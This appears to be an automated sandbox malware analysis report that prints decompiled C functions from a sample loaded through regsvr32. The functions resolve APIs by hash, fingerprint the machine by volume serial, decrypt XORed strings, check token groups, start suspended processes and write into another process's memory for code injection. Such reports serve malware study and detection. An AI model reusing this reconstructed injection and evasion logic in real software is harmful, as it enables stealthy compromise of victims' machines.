GetThreadContext.KERNELBASE(?,00010002,00000000,00000000,00000000), ref: 0073DA40
NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 0073DA89
NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 0073DAA6
NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 0073DAC7

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$ClassCreateProtectWindow$ContextDestroyLibraryLoadRegisterSectionThreadUnregisterWritememset
String ID:
API String ID: 1578692462-0
Opcode ID: 550e93fe8c4a587f071f0349e4e1cc29e48d6e8e997aa570239b38f00566ca61
Instruction ID: f1832a75d471ba21f9982afc1f930fd8b4a2e8063dcaa1a12a95cdab20df17d4
Opcode Fuzzy Hash: 550e93fe8c4a587f071f0349e4e1cc29e48d6e8e997aa570239b38f00566ca61
Instruction Fuzzy Hash: F1314F76A0011AAFEB11DFA4DD49FDEB7BCAF04310F144166E505E3261D734EE149B94

Uniqueness

Uniqueness Score: -1.00%

Function 0073EF38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0073EF38(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E0073E34A( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E0073A5D0( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

0x0073ef41
0x0073ef43
0x0073ef46
0x0073ef49
0x0073ef4f
0x0073efac
0x00000000
0x0073efac
0x0073ef51
0x0073ef5c
0x0073ef5f
0x0073ef64
0x0073ef69
0x0073ef6c
0x0073ef6e
0x0073ef71
0x0073ef74
0x0073ef79
0x00000000
0x00000000
0x00000000
0x00000000
0x0073ef7b
0x0073ef7b
0x0073ef8d
0x0073ef9a
0x0073ef9e
0x00000000
0x00000000
0x0073efa0
0x0073efa3
0x0073efa4
0x0073efaa
0x00000000
0x00000000
0x00000000
0x0073efaa
0x0073efc1
0x0073efc6
0x0073efca
0x00000000
0x0073efd6
0x0073efd6
0x0073efd8
0x0073efd8
0x0073efde
0x00000000
0x00000000
0x0073efe4
0x0073efe8
0x0073efec
0x00000000
0x00000000
0x00000000
0x0073efec
0x0073eff2
0x0073effa
0x0073efff
0x0073f002
0x0073f002
0x0073f004
0x0073f008
0x0073f010
0x00000000
0x00000000
0x0073f014
0x0073f01c
0x00000000
0x00000000
0x00000000
0x0073f01c

APIs

LoadLibraryA.KERNELBASE(.dll,?,00000138,00000000), ref: 0073F008
GetProcAddress.KERNEL32(00000000,?), ref: 0073F014

Strings

.dll, xrefs: 0073F004, 0073F007

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: 92bfeae1058c1ac8a7003bc64a211f9e924712ac8a46e19f784e267b864bbde1
Instruction ID: b3af3ca84255038805a550b9ef5491fb5aebf167fb1118ba02100a861f2cafc6
Opcode Fuzzy Hash: 92bfeae1058c1ac8a7003bc64a211f9e924712ac8a46e19f784e267b864bbde1
Instruction Fuzzy Hash: B431E731A001169BEB64CF6DC880BAEBBF5AF44304F284469D845D7393E774DD41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0073BAF6 Relevance: 4.6, APIs: 3, Instructions: 66
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E0073BAF6(void* __ecx, void* __edx) {
				void* _v304;
				char _v308;
				intOrPtr _v312;
				signed int _t16;
				signed int _t17;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t38;
				void* _t43;
				void* _t45;

				_t33 = __edx;
				_v304 = __ecx;
				_t16 = CreateToolhelp32Snapshot(2, 0);
				_t45 = _t16;
				_t17 = _t16 | 0xffffffff;
				if(_t45 != _t17) {
					E00738F63( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t45,  &_v304) != 0) {
						while(1) {
							_t43 = _v312( &_v308, _t33);
							if(_t43 == 0) {
								break;
							}
							_t38 =  *0x74f8d0; // 0xc2f8c0
							_push( &_v308);
							_push(_t45);
							if( *((intOrPtr*)(_t38 + 0x44))() != 0) {
								continue;
							}
							break;
						}
						FindCloseChangeNotification(_t45);
						_t17 = 0 | _t43 == 0x00000000;
					} else {
						_t30 =  *0x74f8d0; // 0xc2f8c0
						 *((intOrPtr*)(_t30 + 0x30))(_t45);
						_t17 = 0xfffffffe;
					}
				}
				return _t17;
			}

0x0073bb0e
0x0073bb10
0x0073bb14
0x0073bb17
0x0073bb19
0x0073bb1e
0x0073bb2d
0x0073bb35
0x0073bb49
0x0073bb59
0x0073bb63
0x0073bb69
0x00000000
0x00000000
0x0073bb6b
0x0073bb75
0x0073bb76
0x0073bb7c
0x00000000
0x00000000
0x00000000
0x0073bb7c
0x0073bb84
0x0073bb8b
0x0073bb4b
0x0073bb4b
0x0073bb51
0x0073bb56
0x0073bb56
0x0073bb49
0x0073bb94

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000011,?,00000010), ref: 0073BB14

Part of subcall function 00738F63: memset.MSVCRT ref: 00738F75

Process32First.KERNEL32(00000000,?), ref: 0073BB44
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0073BB84

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32memset
String ID:
API String ID: 3344077921-0
Opcode ID: 707fda3c821ec921b4845d07fbb07b2967ef1d44e31aa013a37796998028b02e
Instruction ID: 9b7f896e5f4b30e352686e5ce56106f1127f7c299b48f148e68abbf63bd1aef7
Opcode Fuzzy Hash: 707fda3c821ec921b4845d07fbb07b2967ef1d44e31aa013a37796998028b02e
Instruction Fuzzy Hash: 1211B6721042459BD310EF68EC49E6777ECFF85360F14062FF624CB195EB24D9048766

Uniqueness

Uniqueness Score: -1.00%

Function 0073C778 Relevance: 6.1, APIs: 4, Instructions: 83
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0073C778(WCHAR* __ecx, WCHAR* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				intOrPtr _t23;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				E00738F63(__edx, 0, 0x100);
				_v12 = 0x100;
				_t23 =  *0x74f8d0; // 0xc2f8c0
				 *((intOrPtr*)(_t23 + 0xbc))( &_v528,  &_v12);
				lstrcpynW(__edx,  &_v528, 0x100);
				_t27 = E00739F85(_t44, 0x978);
				_v16 = _t27;
				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E00738D9A( &_v16);
				_t33 = E0073A5E9(_t43);
				E00739FE4( &(_t43[E0073A5E9(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E0073A5E9(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E0073E34A(_t43, E0073A5E9(_t43) + _t40, 0);
			}

0x0073c778
0x0073c781
0x0073c78d
0x0073c793
0x0073c795
0x0073c79d
0x0073c7ab
0x0073c7b0
0x0073c7bf
0x0073c7ca
0x0073c7d7
0x0073c7f1
0x0073c7f6
0x0073c7f8
0x0073c7ff
0x0073c80f
0x0073c820
0x0073c82a
0x0073c832
0x0073c839
0x0073c83c
0x0073c859

APIs

Part of subcall function 00738F63: memset.MSVCRT ref: 00738F75

lstrcpynW.KERNEL32(?,?,00000100), ref: 0073C7BF
GetVolumeInformationW.KERNELBASE(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 0073C7F1

Part of subcall function 00739FE4: _vsnwprintf.MSVCRT ref: 0073A001

lstrcatW.KERNEL32(?,00000114), ref: 0073C82A
CharUpperBuffW.USER32(?,00000000), ref: 0073C83C

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: BuffCharInformationUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 455400327-0
Opcode ID: c07d1ffa96cb54610027f41df8ed5a78f6a0d547b4dcf915e8254867531a67d1
Instruction ID: a8fb4854b6b0d5762d4cf76e2c96a41782acc0f467e33662c19e418b9babedab
Opcode Fuzzy Hash: c07d1ffa96cb54610027f41df8ed5a78f6a0d547b4dcf915e8254867531a67d1
Instruction Fuzzy Hash: F02132B6A40214FFE710ABA4DC4EFEE77ACEB95310F104166F605D6182EB789E048B65

Uniqueness

Uniqueness Score: -1.00%

Function 00738BCD Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00738BCD(intOrPtr __ecx, void* __edx, intOrPtr _a4, signed int _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v28;
				short _v44;
				void* _t38;
				intOrPtr _t47;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t58;
				intOrPtr _t59;
				void* _t62;
				void* _t64;
				signed int _t71;
				signed int _t74;
				void* _t76;
				void* _t77;

				_t71 = _a12;
				_t53 = __edx;
				_v8 = __ecx;
				_t74 = _t71;
				if(_t71 >= __edx) {
					L4:
					_t54 = 0x74f94e;
					L5:
					_t58 = 0;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsw");
					asm("movsb");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_t38 = 0;
					if(_v28 == 0) {
						L8:
						_t64 = _t38;
						if(_t64 == 0) {
							L10:
							lstrlenW( &_v44);
							return _t54;
						} else {
							goto L9;
						}
						do {
							L9:
							_t19 = _t58 + 0x30; // 0x30
							 *((char*)(_t77 + _t58 - 0x28)) = _t19;
							_t58 = _t58 + 1;
						} while (_t58 < _t64);
						goto L10;
					} else {
						goto L6;
					}
					do {
						L6:
						_t38 = _t38 + 1;
					} while ( *((intOrPtr*)(_t77 + _t38 - 0x18)) != 0);
					_t64 = 0xe;
					if(_t38 > _t64) {
						goto L9;
					}
					goto L8;
				}
				_t59 = _a4;
				_a12 = 0x5a;
				while( *((intOrPtr*)(_t74 % _a12 + _t59)) !=  *((intOrPtr*)(_t74 + _v8))) {
					_t74 = _t74 + 1;
					if(_t74 < _t53) {
						continue;
					}
					goto L4;
				}
				_t76 = _t74 - _t71;
				if(_t76 == 0) {
					goto L4;
				}
				_t47 = E00738DC9(_t76 + 1); // executed
				_t55 = _t47;
				_v12 = _t55;
				if(_t55 != 0) {
					_t56 = _a4;
					_t62 = _t55 - _t71;
					do {
						 *(_t62 + _t71) =  *(_t71 % _a12 + _t56) ^  *(_t71 + _v8);
						_t71 = _t71 + 1;
						_t76 = _t76 - 1;
					} while (_t76 != 0);
					_t54 = _v12;
					goto L5;
				}
				return 0x74f94e;
			}

0x00738bd6
0x00738bd9
0x00738bdb
0x00738bde
0x00738be2
0x00738c05
0x00738c05
0x00738c0a
0x00738c14
0x00738c16
0x00738c17
0x00738c18
0x00738c19
0x00738c1b
0x00738c1f
0x00738c20
0x00738c21
0x00738c22
0x00738c24
0x00738c25
0x00738c2a
0x00738c3a
0x00738c3a
0x00738c3e
0x00738c4c
0x00738c50
0x00000000
0x00000000
0x00000000
0x00000000
0x00738c40
0x00738c40
0x00738c40
0x00738c43
0x00738c47
0x00738c48
0x00000000
0x00000000
0x00000000
0x00000000
0x00738c2c
0x00738c2c
0x00738c2c
0x00738c2d
0x00738c35
0x00738c38
0x00000000
0x00000000
0x00000000
0x00738c38
0x00738be4
0x00738be7
0x00738bee
0x00738c00
0x00738c03
0x00000000
0x00000000
0x00000000
0x00738c03
0x00738c5d
0x00738c5f
0x00000000
0x00000000
0x00738c65
0x00738c6a
0x00738c6c
0x00738c72
0x00738c7d
0x00738c80
0x00738c82
0x00738c92
0x00738c95
0x00738c96
0x00738c96
0x00738c9b
0x00000000
0x00738c9b
0x00000000

APIs

lstrlenW.KERNEL32(?,00000138,?,0074CA88), ref: 00738C50

Strings

Z, xrefs: 00738BE7
GetCurrentPath, xrefs: 00738C0A

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: GetCurrentPath$Z
API String ID: 1659193697-4005238709
Opcode ID: 2d5faf18988bd5707e9438e1ab20ebeeba69098bf0279d5ce36f37ff7193efe0
Instruction ID: 36b16101d4ce673879c5db61d7f353241084d69ca622cdef7289bab3309a800f
Opcode Fuzzy Hash: 2d5faf18988bd5707e9438e1ab20ebeeba69098bf0279d5ce36f37ff7193efe0
Instruction Fuzzy Hash: E8213670B017456FEB45CF69C4800AEBB66BB9D310F2804B8F941A7203DA34DC4687B1

Uniqueness

Uniqueness Score: -1.00%

Function 0073C986 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0073C986(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E00738DC9(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E00738DDF( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

0x0073c989
0x0073c98a
0x0073c991
0x0073c999
0x0073c99d
0x0073c9a6
0x0073c9ec
0x0073c9ec
0x0073c9b3
0x0073c9bb
0x0073c9bd
0x0073c9c3
0x0073c9dc
0x00000000
0x0073c9de
0x0073c9e3
0x00000000
0x0073c9e9
0x0073c9c5
0x0073c9c5
0x0073c9c5
0x0073c9c5
0x0073c9c3
0x0073c9f2

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,00730000,00000000,00000000,?,0073CA07,00000000,00000000,?,0073CA30), ref: 0073C9A1
GetLastError.KERNEL32(?,0073CA07,00000000,00000000,?,0073CA30,00001644,?,0073E053), ref: 0073C9A8

Part of subcall function 00738DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00739793,00000100,?,0073661B), ref: 00738DD7

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,?,?,0073CA07,00000000,00000000,?,0073CA30,00001644,?,0073E053), ref: 0073C9D7

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateErrorHeapLast
String ID:
API String ID: 2499131667-0
Opcode ID: 5fc616cc1eb613622fb4c85cc983eb43d032fcc8cc55e7b3263956542ebde2f8
Instruction ID: c9c568ed6f337295e7bc2e4d98d6166f9d45644fc4f769acca69095353cb9afe
Opcode Fuzzy Hash: 5fc616cc1eb613622fb4c85cc983eb43d032fcc8cc55e7b3263956542ebde2f8
Instruction Fuzzy Hash: 46012636700214FFAB216BA5DC49E9B3FACDF597A0B110026F401E6112EB38ED0087A0

Uniqueness

Uniqueness Score: -1.00%

Function 0073CA5A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E0073CA5A(void* __ecx, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				short _v28;
				char _v32;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr _t34;
				char _t37;
				union _TOKEN_INFORMATION_CLASS _t44;
				char _t45;
				intOrPtr* _t48;

				_t37 = 0;
				_v28 = 0x500;
				_t45 = 0;
				_v32 = 0;
				_t20 = E0073C92F(__ecx);
				_v16 = _t20;
				if(_t20 != 0) {
					_push( &_v24);
					_t44 = 2;
					_t21 = E0073C986(_t44); // executed
					_t48 = _t21;
					_v20 = _t48;
					if(_t48 == 0) {
						L10:
						FindCloseChangeNotification(_v16);
						if(_t48 != 0) {
							_t19 =  &_v20; // 0x73e075
							E00738DDF(_t19, _t37);
						}
						return _t45;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0x220);
					_push(0x20);
					_push(2);
					_push( &_v32);
					_t29 =  *0x74f8d8; // 0xc2fab0
					if( *((intOrPtr*)(_t29 + 0xc))() == 0) {
						goto L10;
					}
					if( *_t48 <= 0) {
						L9:
						_t31 =  *0x74f8d8; // 0xc2fab0
						 *((intOrPtr*)(_t31 + 0x10))(_v12);
						_t37 = 0;
						goto L10;
					}
					_t9 = _t48 + 4; // 0x4
					_t33 = _t9;
					_v8 = _t33;
					while(1) {
						_push(_v12);
						_push( *_t33);
						_t34 =  *0x74f8d8; // 0xc2fab0
						if( *((intOrPtr*)(_t34 + 0x68))() != 0) {
							break;
						}
						_t37 = _t37 + 1;
						_t33 = _v8 + 8;
						_v8 = _t33;
						if(_t37 <  *_t48) {
							continue;
						}
						goto L9;
					}
					_t45 = 1;
					goto L9;
				}
				return _t20;
			}

0x0073ca61
0x0073ca63
0x0073ca6a
0x0073ca6c
0x0073ca6f
0x0073ca74
0x0073ca79
0x0073ca83
0x0073ca86
0x0073ca89
0x0073ca8e
0x0073ca90
0x0073ca96
0x0073caf6
0x0073cafe
0x0073cb04
0x0073cb06
0x0073cb0b
0x0073cb11
0x00000000
0x0073cb12
0x0073ca9b
0x0073ca9c
0x0073ca9d
0x0073ca9e
0x0073ca9f
0x0073caa0
0x0073caa1
0x0073caa2
0x0073caa7
0x0073caa9
0x0073caae
0x0073caaf
0x0073cab9
0x00000000
0x00000000
0x0073cabd
0x0073cae9
0x0073cae9
0x0073caf1
0x0073caf4
0x00000000
0x0073caf4
0x0073cabf
0x0073cabf
0x0073cac2
0x0073cac5
0x0073cac5
0x0073cac8
0x0073caca
0x0073cad4
0x00000000
0x00000000
0x0073cad9
0x0073cada
0x0073cadd
0x0073cae2
0x00000000
0x00000000
0x00000000
0x0073cae4
0x0073cae8
0x00000000
0x0073cae8
0x0073cb17

APIs

Part of subcall function 0073C92F: GetCurrentThread.KERNEL32 ref: 0073C942
Part of subcall function 0073C92F: OpenThreadToken.ADVAPI32(00000000,?,?,0073CA74,00000000,00730000), ref: 0073C949
Part of subcall function 0073C92F: GetLastError.KERNEL32(?,?,0073CA74,00000000,00730000), ref: 0073C950
Part of subcall function 0073C92F: OpenProcessToken.ADVAPI32(00000000,?,?,0073CA74,00000000,00730000), ref: 0073C975

Part of subcall function 0073C986: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,00730000,00000000,00000000,?,0073CA07,00000000,00000000,?,0073CA30), ref: 0073C9A1
Part of subcall function 0073C986: GetLastError.KERNEL32(?,0073CA07,00000000,00000000,?,0073CA30,00001644,?,0073E053), ref: 0073C9A8

FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,00730000), ref: 0073CAFE

Strings

us, xrefs: 0073CB06, 0073CB0A

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: Token$ErrorLastOpenThread$ChangeCloseCurrentFindInformationNotificationProcess
String ID: us
API String ID: 1806447117-795443346
Opcode ID: 0d28a9fba1f1b7fc45930ceec3429892633f87e576b4482103fdb4fa195cffbb
Instruction ID: 076ac3baec868d389245ec8b8c80f0d13dc59321347e21721d7af84ab10130e5
Opcode Fuzzy Hash: 0d28a9fba1f1b7fc45930ceec3429892633f87e576b4482103fdb4fa195cffbb
Instruction Fuzzy Hash: 3A215072A00209AFEB11DFA9DC85EAEB7F8EF48700F10806AE551FB152E7349D418B54

Uniqueness

Uniqueness Score: -1.00%

Function 0073BE10 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0073BE10(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;

				E00738F63(__edx, 0, 0x10);
				E00738F63( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				_t11 = CreateProcessW(0, __ecx, 0, 0, 0, 4, 0, 0,  &_v72, __edx);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

0x0073be21
0x0073be2e
0x0073be36
0x0073be52
0x0073be58
0x0073be5f

APIs

Part of subcall function 00738F63: memset.MSVCRT ref: 00738F75

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 0073BE52

Strings

D, xrefs: 0073BE36

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcessmemset
String ID: D
API String ID: 2296119082-2746444292
Opcode ID: c71214e4591e0bfc08dd22a044866697d497a16fb553f21185c8524e7c1ae155
Instruction ID: a52989227868d4b58a603fca76141f516c7bae0fbd3b511fa4bb7798e7ec6160
Opcode Fuzzy Hash: c71214e4591e0bfc08dd22a044866697d497a16fb553f21185c8524e7c1ae155
Instruction Fuzzy Hash: FAF030F16402087EF620E665DC0AFBF36ACDB81710F500125BA05EB1D1EAB4AD0582A5

Uniqueness

Uniqueness Score: -1.00%

Function 0073D889 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0073D889(intOrPtr __edx) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v36;
				char _v40;
				char _v80;
				char _t37;
				intOrPtr _t38;
				signed int _t45;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t59;
				void* _t62;
				intOrPtr _t63;
				signed int _t67;
				intOrPtr _t69;
				void* _t70;
				intOrPtr _t86;
				char _t87;
				void* _t88;

				_v16 = _v16 & 0x00000000;
				_v20 = __edx;
				_t86 = 0;
				_t37 = E0073D7CD( &_v16, __edx);
				_t87 = _t37;
				_v24 = _t87;
				_t89 = _t87;
				if(_t87 == 0) {
					return _t37;
				}
				_t38 =  *0x74f8d4; // 0xc2fc00
				_t7 = _t38 + 0xac; // 0xafbcc48
				E0073B6E3( &_v80,  *_t7 + 7, _t89);
				_v12 = _v12 & 0;
				_t67 = _v16;
				if(_t67 == 0) {
					L21:
					E00738DDF( &_v24, 0);
					return _t86;
				}
				while(_t86 == 0) {
					_t69 = 0;
					_v8 = 0;
					while(_t86 == 0) {
						E00738F63( &_v40, _t86, 0x10);
						_t88 = _t88 + 0xc;
						_t49 = E0073BE10( *((intOrPtr*)(_t87 + _v12 * 4)),  &_v40); // executed
						_t94 = _t49;
						if(_t49 >= 0) {
							_t56 = E0073D9DE(E00736297,  &_v40, _t94, _v20); // executed
							if(_t56 != 0) {
								_t59 =  *0x74f8d0; // 0xc2f8c0
								_t70 =  *((intOrPtr*)(_t59 + 0xd0))(0, 0, 0,  &_v80);
								if(_t70 != 0) {
									GetLastError();
									_t62 = E0073DADC( &_v40);
									_t63 =  *0x74f8d0; // 0xc2f8c0
									if(_t62 != 0) {
										_push(0xea60);
										_push(_t70);
										if( *((intOrPtr*)(_t63 + 0x2c))() == 0) {
											_t86 = _t86 + 1;
										}
										_t63 =  *0x74f8d0; // 0xc2f8c0
									}
									FindCloseChangeNotification(_t70);
								}
								_t69 = _v8;
							}
						}
						if(_v40 != 0) {
							if(_t86 == 0) {
								_t54 =  *0x74f8d0; // 0xc2f8c0
								 *((intOrPtr*)(_t54 + 0x110))(_v40, _t86);
							}
							_t50 =  *0x74f8d0; // 0xc2f8c0
							 *((intOrPtr*)(_t50 + 0x30))(_v36);
							_t52 =  *0x74f8d0; // 0xc2f8c0
							 *((intOrPtr*)(_t52 + 0x30))(_v40);
						}
						_t69 = _t69 + 1;
						_v8 = _t69;
						if(_t69 < 2) {
							continue;
						} else {
							break;
						}
					}
					_t67 = _v16;
					_t45 = _v12 + 1;
					_v12 = _t45;
					if(_t45 < _t67) {
						continue;
					} else {
						break;
					}
					do {
						goto L20;
					} while (_t67 != 0);
					goto L21;
				}
				L20:
				E00738DDF(_t87, 0xfffffffe);
				_t87 = _t87 + 4;
				_t67 = _t67 - 1;
			}

0x0073d88f
0x0073d898
0x0073d89b
0x0073d89d
0x0073d8a2
0x0073d8a4
0x0073d8a7
0x0073d8a9
0x0073d9dd
0x0073d9dd
0x0073d8af
0x0073d8b8
0x0073d8c1
0x0073d8c6
0x0073d8c9
0x0073d8ce
0x0073d9ca
0x0073d9d0
0x00000000
0x0073d9d9
0x0073d8d4
0x0073d8dc
0x0073d8de
0x0073d8e1
0x0073d8f0
0x0073d8fb
0x0073d901
0x0073d906
0x0073d908
0x0073d915
0x0073d91d
0x0073d928
0x0073d933
0x0073d937
0x0073d939
0x0073d942
0x0073d949
0x0073d94e
0x0073d950
0x0073d955
0x0073d95b
0x0073d95d
0x0073d95d
0x0073d95e
0x0073d95e
0x0073d964
0x0073d964
0x0073d967
0x0073d967
0x0073d91d
0x0073d96e
0x0073d972
